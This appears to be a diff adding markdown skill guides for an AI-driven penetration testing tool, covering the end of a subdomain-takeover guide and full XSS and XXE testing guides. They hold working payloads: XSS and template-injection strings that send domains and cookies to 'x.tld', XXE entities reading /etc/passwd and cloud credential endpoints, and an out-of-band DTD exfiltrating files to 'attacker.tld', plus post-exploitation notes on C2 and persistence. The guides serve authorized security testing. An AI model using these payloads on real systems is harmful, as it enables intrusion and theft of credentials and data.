+- Website vs API endpoints differ in claimability and fingerprints
+
+### Serverless and Hosting
+
+- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
+- Most require TXT now, but historical projects may not
+
+### CDN and Edge
+
+- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
+- Some products historically allowed alt-domain claims without proof
+
+### DNS Delegations
+
+- Child-zone NS delegations outrank parent records
+- Control of delegated NS yields full control of all hosts below that label
+
+## Testing Methodology
+
+1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
+2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
+3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
+4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
+5. **Attempt claim** (with authorization) - Create missing resource with exact required name
+6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
+
+## Validation
+
+1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
+2. After claim: serve unique content and verify over HTTPS at the target subdomain
+3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
+4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
+
+## False Positives
+
+- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
+- Provider-branded default pages for valid, owned resources (not a takeover)
+- Soft 404s from your own infrastructure or catch-all vhosts
+
+## Impact
+
+- Content injection under trusted subdomain: phishing, malware delivery, brand damage
+- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
+- OAuth/SSO abuse via whitelisted redirect URIs
+- Email delivery manipulation for subdomain
+
+## Pro Tips
+
+1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
+2. Maintain a current fingerprint corpus; provider messages change frequently
+3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
+4. Monitor CT for unexpected certs on your subdomains
+5. Eliminate dangling DNS in decommission workflows first
+6. For NS delegations, treat any expired nameserver domain as critical
+7. Use CAA to limit certificate issuance while you triage
+
+## Summary
+
+Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.

strix/skills/vulnerabilities/xss.md

@@ -0,0 +1,206 @@
+---
+name: xss
+description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques
+---
+
+# XSS
+
+Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
+
+## Attack Surface
+
+**Types**
+- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
+
+**Contexts**
+- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
+
+**Frameworks**
+- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
+
+**Defenses to Bypass**
+- CSP/Trusted Types, DOMPurify, framework auto-escaping
+
+## Injection Points
+
+**Server Render**
+- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
+
+**Client Render**
+- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals
+- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`
+
+**URL/DOM**
+- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes
+
+**Events/Handlers**
+- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers
+
+**Cross-Context**
+- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
+
+**File/Metadata**
+- Image/SVG/XML names and EXIF, office documents processed server/client
+
+## Context Encoding Rules
+
+- **HTML text**: encode `< > & " '`
+- **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes
+- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
+- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`
+- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`
+- **SVG/MathML**: treat as active content; many tags execute via onload or animation events
+
+## Key Vulnerabilities
+
+### DOM XSS
+
+**Sources**
+- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages
+
+**Sinks**
+- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`
+- `setAttribute`, `setTimeout`/`setInterval` with strings
+- `eval`/`Function`, `new Worker` with blob URLs
+
+**Vulnerable Pattern**
+```javascript
+const q = new URLSearchParams(location.search).get('q');
+results.innerHTML = `<li>${q}</li>`;
+```
+Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
+
+### Mutation XSS
+
+Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
+```html
+<noscript><p title="</noscript><img src=x onerror=alert(1)>
+<form><button formaction=javascript:alert(1)>
+```
+
+### Template Injection
+
+Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
+```
+{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
+```
+
+### CSP Bypass
+
+- Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed
+- Script gadgets: JSONP endpoints, libraries exposing function constructors
+- Import maps or modulepreload lax policies
+- Base tag injection to retarget relative script URLs
+- Dynamic module import with allowed origins
+
+### Trusted Types Bypass
+
+- Custom policies returning unsanitized strings; abuse policy whitelists
+- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
+
+## Polyglot Payloads
+
+Keep a compact set tuned per context:
+- **HTML node**: `<svg onload=alert(1)>`
+- **Attr quoted**: `" autofocus onfocus=alert(1) x="`
+- **Attr unquoted**: `onmouseover=alert(1)`
+- **JS string**: `"-alert(1)-"`
+- **URL**: `javascript:alert(1)`
+
+## Framework-Specific
+
+### React
+
+- Primary sink: `dangerouslySetInnerHTML`
+- Secondary: setting event handlers or URLs from untrusted input
+- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
+
+### Vue
+
+- Sinks: `v-html` and dynamic attribute bindings
+- SSR hydration mismatches can re-interpret content
+
+### Angular
+
+- Legacy expression injection (pre-1.6)
+- `$sce` trust APIs misused to whitelist attacker content
+
+### Svelte
+
+- Sinks: `{@html}` and dynamic attributes
+
+### Markdown/Richtext
+
+- Renderers often allow HTML passthrough; plugins may re-enable raw HTML
+- Sanitize post-render; forbid inline HTML or restrict to safe whitelist
+
+## Special Contexts
+
+### Email
+
+- Most clients strip scripts but allow CSS/remote content
+- Use CSS/URL tricks only if relevant; avoid assuming JS execution
+
+### PDF and Docs
+
+- PDF engines may execute JS in annotations or links
+- Test `javascript:` in links and submit actions
+
+### File Uploads
+
+- SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline
+- Verify content-type and `Content-Disposition: attachment`
+- Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`
+
+## Post-Exploitation
+
+- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
+- Real-time control: WebSocket C2 with strict command set
+- Persistence: service worker registration; localStorage/script gadget re-injection
+- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
+
+## Testing Methodology
+
+1. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
+2. **Trace to sinks** - Map data flow from source to sink
+3. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
+4. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
+5. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants
+6. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers
+
+## Validation
+
+1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
+2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
+3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
+4. Quantify impact beyond alert: data accessed, action performed, persistence achieved
+
+## False Positives
+
+- Reflected content safely encoded in the exact context
+- CSP with nonces/hashes and no inline/event handlers
+- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
+- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
+
+## Impact
+
+- Session hijacking and credential theft
+- Account takeover via token exfiltration
+- CSRF chaining for state-changing actions
+- Malware distribution and phishing
+- Persistent compromise via service workers
+
+## Pro Tips
+
+1. Start with context classification, not payload brute force
+2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
+3. Keep a small, curated payload set per context and iterate with encodings
+4. Validate defenses by configuration inspection and negative tests
+5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
+6. Treat SVG/MathML as first-class active content; test separately
+7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
+8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
+
+## Summary
+
+Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.

strix/skills/vulnerabilities/xxe.md

@@ -0,0 +1,223 @@
+---
+name: xxe
+description: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers
+---
+
+# XXE
+
+XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
+
+## Attack Surface
+
+**Capabilities**
+- File disclosure: read server files and configuration
+- SSRF: reach metadata services, internal admin panels, service ports
+- DoS: entity expansion (billion laughs), external resource amplification
+
+**Injection Surfaces**
+- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
+- PDF generators, build/report pipelines, config importers
+
+**Transclusion**
+- XInclude and XSLT `document()` loading external resources
+
+## High-Value Targets
+
+**File Uploads**
+- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
+- Android/iOS plist, project config imports
+
+**Protocols**
+- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
+- RSS/Atom feeds, server-side renderers and converters
+
+**Hidden Paths**
+- Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
+- Processing-instruction headers
+
+## Detection Channels
+
+### Direct
+
+- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
+
+### Error-Based
+
+- Coerce parser errors that leak path fragments or file content via interpolated messages
+
+### OAST
+
+- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
+- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
+- Use `interactsh-client -v` for the callback domain. Reference it as the
+  external DTD host (e.g. `<!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">`)
+  and read the DNS/HTTP hit on the interactsh stdout.
+
+### Timing
+
+- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
+
+## Core Payloads
+
+### Local File
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<r>&xxe;</r>
+```
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
+<r>&xxe;</r>
+```
+
+### SSRF
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
+<r>&xxe;</r>
+```
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
+<r>&xxe;</r>
+```
+
+### OOB Parameter Entity
+
+```xml
+<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
+```
+
+evil.dtd:
+```xml
+<!ENTITY % f SYSTEM "file:///etc/hostname">
+<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
+%e; %exfil;
+```
+
+## Key Vulnerabilities
+
+### Parameter Entities
+
+- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
+- Works even when general entities are sanitized in the XML tree
+
+### XInclude
+
+```xml
+<root xmlns:xi="http://www.w3.org/2001/XInclude">
+  <xi:include parse="text" href="file:///etc/passwd"/>
+</root>
+```
+
+Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
+
+### XSLT Document
+
+XSLT processors can fetch external resources via `document()`:
+
+```xml
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:template match="/">
+    <xsl:copy-of select="document('file:///etc/passwd')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
+
+### Protocol Wrappers
+
+- Java: `jar:`, `netdoc:`
+- PHP: `php://filter`, `expect://` (when module enabled)
+- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
+
+## Bypass Techniques
+
+**Encoding Variants**
+- UTF-16/UTF-7 declarations, mixed newlines
+- CDATA and comments to evade naive filters
+
+**DOCTYPE Variants**
+- PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`
+- Internal vs external subsets, multi-DOCTYPE edge handling
+
+**Network Controls**
+- If network blocked but filesystem readable, pivot to local file disclosure
+- If files blocked but network open, pivot to SSRF/OAST
+
+## Special Contexts
+
+### SOAP
+
+```xml
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Body>
+    <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+    <d>&xxe;</d>
+  </soap:Body>
+</soap:Envelope>
+```
+
+### SAML
+
+- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
+- Test ACS endpoints with minimal probes
+
+### SVG and Renderers
+
+- Inline SVG and server-side SVG→PNG/PDF renderers process XML
+- Attempt local file reads via entities/XInclude
+
+### Office Docs
+
+- OOXML (docx/xlsx/pptx) are ZIPs containing XML
+- Insert payloads into document.xml, rels, or drawing XML and repackage
+
+## Testing Methodology
+
+1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
+2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
+3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
+4. **Escalate** - Targeted file/SSRF payloads
+5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
+
+## Validation
+
+1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
+2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
+3. Confirm blind channels with OAST and correlate to the triggering request
+4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
+5. Bound impact: exact files/data reached or internal targets proven
+
+## False Positives
+
+- DOCTYPE accepted but entities not resolved and no transclusion reachable
+- Filters or sandboxes that emit entity strings literally (no IO performed)
+- Mocks/stubs that simulate success without network/file access
+- XML processed only client-side (no server parse)
+
+## Impact
+
+- Disclosure of credentials/keys/configs, code, and environment secrets
+- Access to cloud metadata/token services and internal admin panels
+- Denial of service via entity expansion or slow external resources
+- Code execution via XSLT/expect:// in insecure stacks
+
+## Pro Tips
+
+1. Prefer OAST first; it is the quietest confirmation in production-like paths
+2. When content is sanitized, use error-based and length/ETag diffs
+3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
+4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
+5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
+6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
+7. Test background processors separately; they often use different parser settings
+8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
+9. Combine with path traversal and deserialization where XML touches downstream systems
+10. Document exact parser behavior per stack; defenses must match real libraries and flags
+
+## Summary
+
+XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.